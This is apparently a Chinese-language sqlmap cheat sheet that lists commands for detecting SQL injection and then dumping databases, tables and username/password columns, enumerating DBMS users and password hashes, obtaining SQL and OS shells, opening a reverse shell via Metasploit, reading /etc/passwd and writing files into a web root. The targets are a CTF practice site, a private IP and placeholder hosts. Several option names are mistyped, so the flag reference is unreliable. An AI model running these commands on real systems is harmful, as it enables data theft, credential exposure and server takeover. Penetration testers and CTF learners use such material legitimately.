SQLmap
SQLmap是一款用來檢測與利用SQL注入漏洞的免費(fèi)開源工具,有一個非常棒的特性,即對檢測與利用的自動化處理(數(shù)據(jù)庫指紋、訪問底層文件系統(tǒng)、執(zhí)行命令)。
安裝
windows安裝方法:Windows下sqlmap的安裝圖解
Linux安裝方法:
wget https://codeload.github.com/sqlmapproject/sqlmap/legacy.tar.gz/master #下載sqlmap
tar zxvf master #解壓壓縮包
cd sqlmapproject-sqlmap-310d79b/ #進(jìn)入解壓目錄
python sqlmap.py -h #開始使用
Sqlmap注入篇
GET型
(1) 猜解是否能注入
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1
kali : sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1
(2) 查找數(shù)據(jù)庫
win:python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs # ?id=1 --current-db(當(dāng)前數(shù)據(jù)庫)
kali : sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dbs
(3) 猜解表(假如通過(2)得到了web1這個數(shù)據(jù)庫)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tables -D web1
(4) 根據(jù)猜解的表進(jìn)行猜解表的字段(假如通過(3)得到了flag這個表)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --columns -T flag -D web1
(5) 根據(jù)字段猜解內(nèi)容(假如通過(4)得到字段為username和password)
win: python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
kali: sqlmap -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --dump -C "username,password" -T flag -D web1
POST型
#爆庫
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs
#爆表
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables
#爆數(shù)據(jù)
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump
sqlmap選擇注入類型
technique參數(shù)是用來選擇sqlmap中的注入技術(shù)的,在sqlmap中其支持5中不同模式的注入
我們可以根據(jù)不同的報(bào)錯提示更改—technique后面的字母
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-8/?id=1" --technique B --dbms mysql --dbs --batch
B:Boolean-based-blind (布爾型盲注)
E:Error-based (報(bào)錯型注入)
U:Union query-based (聯(lián)合注入)
S:Starked queries (通過sqlmap讀取文件系統(tǒng)、操作系統(tǒng)、注冊表必須 使用該參數(shù),可多語句查詢注入)
T:Time-based blind (基于時間延遲注入)
--dbms : 不僅可以指定數(shù)據(jù)庫類型,還可以指定數(shù)據(jù)庫版本
--batch: 用此參數(shù),不需要用戶輸入,將會使用sqlmap提示的默認(rèn)值一直運(yùn)行下去。
Sqlmap用戶權(quán)限篇
1、列出數(shù)據(jù)庫管理系統(tǒng)用戶:
sqlmap -u http://xxx.com/1.php?id=11 --users
查看當(dāng)前連接數(shù)據(jù)庫用戶:
sqlmap -u http://xxx.com/1.php?id=11 --current-user
查看數(shù)據(jù)庫用戶所有密碼:
sqlmap -u http://xxx.com/1.php?id=11 --passwords
2、判斷當(dāng)前用戶是否是DBA?
sqlmap -u http://xxx.com/1.php?id=11 --is-dba
3、查看用戶權(quán)限:
sqlmap -u http://xxx.com/1.php?id=11 --privileges
sqlmap -u http://xxx.com/1.php?id=11 --privileges -U
Sqlmap文件操作與shell提權(quán)篇
1、sql shell
通過sqlmap可以直接獲取一個sql shell,直接執(zhí)行sql語句進(jìn)行交互。
sqlmap -u http://xxx.com/1.php?id=11 --sql-shell
sql-shell> select version();
注意:這里由于進(jìn)入了sql shell可以執(zhí)行sql語句了,也可以用 load data infile、load_file、into outfile等函數(shù)來進(jìn)行文件讀取或?qū)懭耄?br>
2、cmd shell
這里通過sqlmap可以直接獲取一個cmd shell,直接執(zhí)行cmd命令進(jìn)行交互。
sqlmap -u http://xxx.com/1.php?id=11 --os-shell
sqlmap -u http://xxx.com/1.php?id=11 --os-cmd=ipconfig
注意:需要權(quán)限很大跟物理路徑,要是不知道物理路徑,可以用sqlmap枚舉。
3、讀取服務(wù)器上指定文件
sqlmap -u http://xxx.com/1.php?id=11 --file-read=/etc/passwd
sqlmap -u http://xxx.com/1.php?id=11 --file-read=d:/test.txt
4、寫入本地文件到服務(wù)器上
sqlmap -u http://xxx.com/1.php?id=11 --file-write /test/test.txt --file-dest /var/www/html/1.txt
其他
是否支持union 注入
sqlmap -u http://xxx.com/1.php?id=11 --union-check
采用union 注入
sqlmap -u http://xxx.com/1.php?id=11 --union-use
union配合order by
sqlmap -u http://xxx.com/1.php?id=11 –union-tech orderby
保存注入過程到一個文件,還可中斷,下次恢復(fù)在注入
sqlmap -u http://xxx.com/1.php?id=11 -S 保存:-s “xx.log” 恢復(fù):-s “xx.log” –resume)
指定可測試的參數(shù)
sqlmap -u http://xxx.com/?page=1&id=2 -p “page,id”
顯示注入詳細(xì)的等級(0-6)
sqlmap -u http://xxx.com/1.phpid=11 -v
0:只顯示Python的回溯,錯誤和關(guān)鍵消息。
1:顯示信息和警告消息。
2:顯示調(diào)試消息。
3:有效載荷注入。
4:顯示HTTP請求。
5:顯示HTTP響應(yīng)頭。
6:顯示HTTP響應(yīng)頁面的內(nèi)容
采用多線程
sqlmap -u http://xxx.com/1.php?id=11 --threads 3
反彈shell
sqlmap -u http://xxx.com/1.php?id=11 --os-pwn (–os-pwn –msf-path=/opt/framework/msf3/)
參數(shù)
Target(目標(biāo)):
以下至少需要設(shè)置其中一個選項(xiàng),設(shè)置目標(biāo)URL。
-d (DIRECT) 直接連接到數(shù)據(jù)庫。
-u (URL), –url=URL 目標(biāo)URL。
-l (LIST) 從Burp或WebScarab代理的日志中解析目標(biāo)。
-r (REQUESTFILE) 從一個文件中載入HTTP請求。
-g (GOOGLEDORK) 處理Google dork的結(jié)果作為目標(biāo)URL。
-c (CONFIGFILE) 從INI配置文件中加載選項(xiàng)。
Enumeration(枚舉)
這些選項(xiàng)可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運(yùn)行您自己的SQL語句。
--tamper=space2comment 繞過空格 (--tamper=space2comment --dbs)
-a 檢索所有內(nèi)容
-b, –banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識
-D (DBname) 枚舉的指定數(shù)據(jù)庫名中信息
-T (TBLname) 枚舉的指定數(shù)據(jù)庫表中信息(eg:-T tablename –columns)
-C (COL ) 枚舉的指定數(shù)據(jù)庫字段(列)信息 (eg:-C flag -T flag -D web1 <---> -C 字段名 -T 表名 -D 數(shù)據(jù)庫名)
-U (USER) 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶
--dbs 掃描數(shù)據(jù)庫信息
--tables 列出數(shù)據(jù)庫所有的表信息
--columns 列出數(shù)據(jù)庫表中的所有字段信息(表列)
--current-db 列出當(dāng)前的數(shù)據(jù)庫名稱
-current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶
--roles 枚舉用戶
-dump 列出數(shù)據(jù)庫中表的字段名中信息
--dump-all 列所有表的內(nèi)容
--exclude-sysdbs 列舉用戶數(shù)據(jù)庫的表內(nèi)容
--common-tables暴力破解表
-is-dba 檢測DBMS當(dāng)前用戶是否DBA
-users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶
-passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希
-privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限
-columns 枚舉DBMS數(shù)據(jù)庫表列-dump 轉(zhuǎn)儲數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項(xiàng)
-search 搜索列(S),表(S)和/或數(shù)據(jù)庫名稱(S)
-start=LIMITSTART 第一個查詢輸出進(jìn)入檢索
-stop=LIMITSTOP 最后查詢的輸出進(jìn)入檢索
-first=FIRSTCHAR 第一個查詢輸出字的字符檢索
-last=LASTCHAR 最后查詢的輸出字字符檢索
-sql-query=QUERY 要執(zhí)行的SQL語句
-sql-shell 提示交互式SQL的shell
--data:指定的數(shù)據(jù)會被作為POST數(shù)據(jù)提交